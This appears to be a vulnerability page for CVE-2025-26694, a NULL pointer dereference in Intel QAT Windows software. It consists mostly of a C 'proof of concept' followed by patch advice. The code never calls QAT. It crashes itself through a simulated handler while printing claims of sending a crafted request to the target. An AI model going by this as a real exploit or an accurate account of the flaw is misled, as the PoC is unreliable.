CVE-2025-26694 Intel QAT Windows软件空指针解引用拒绝服务漏洞

/* * CVE-2025-26694 PoC - NULL Pointer Dereference in Intel QAT Windows Software * This is a conceptual PoC demonstrating the vulnerability trigger mechanism. * Actual exploitation requires specific QAT API calls and input parameters. * * WARNING: This code is for educational and research purposes only. * Unauthorized testing of vulnerabilities without proper authorization is illegal. */ #include <windows.h> #include <stdio.h> /* Intel QAT API structures - simplified representation */ typedef struct _QAT_REQUEST { void* pUserData; // Pointer that can be NULL DWORD flags; DWORD inputSize; void* pInputBuffer; DWORD outputSize; void* pOutputBuffer; } QAT_REQUEST, *PQAT_REQUEST; /* Simulated vulnerable function - demonstrates NULL pointer dereference */ DWORD VulnerableQATHandler(PQAT_REQUEST pRequest) { DWORD result = 0; /* Vulnerability: Missing NULL check on pRequest->pUserData */ /* This simulates the condition that leads to NULL pointer dereference */ if (pRequest->pUserData == NULL) { printf("[*] Triggering CVE-2025-26694 - NULL pointer dereference\n"); /* Attempt to dereference NULL pointer */ *(PDWORD)pRequest->pUserData = 0xFFFFFFFF; // Triggers access violation } return result; } int main(int argc, char* argv[]) { QAT_REQUEST maliciousRequest; printf("CVE-2025-26694 PoC - Intel QAT NULL Pointer Dereference\n"); printf("Target: Intel QAT Windows software < 2.6.0\n\n"); /* Initialize malicious request with NULL pointer */ memset(&maliciousRequest, 0, sizeof(QAT_REQUEST)); maliciousRequest.pUserData = NULL; // NULL pointer triggers vulnerability maliciousRequest.flags = 0x00000001; printf("[*] Sending crafted request to QAT handler...\n"); /* Trigger the vulnerable code path */ VulnerableQATHandler(&maliciousRequest); printf("[!] If no crash occurred, the vulnerable code path was not reached.\n"); return 0; } /* * Mitigation: * 1. Upgrade Intel QAT software to version 2.6.0 or later * 2. Apply Intel SA-01373 security advisory patches * 3. Monitor for abnormal QAT service behavior */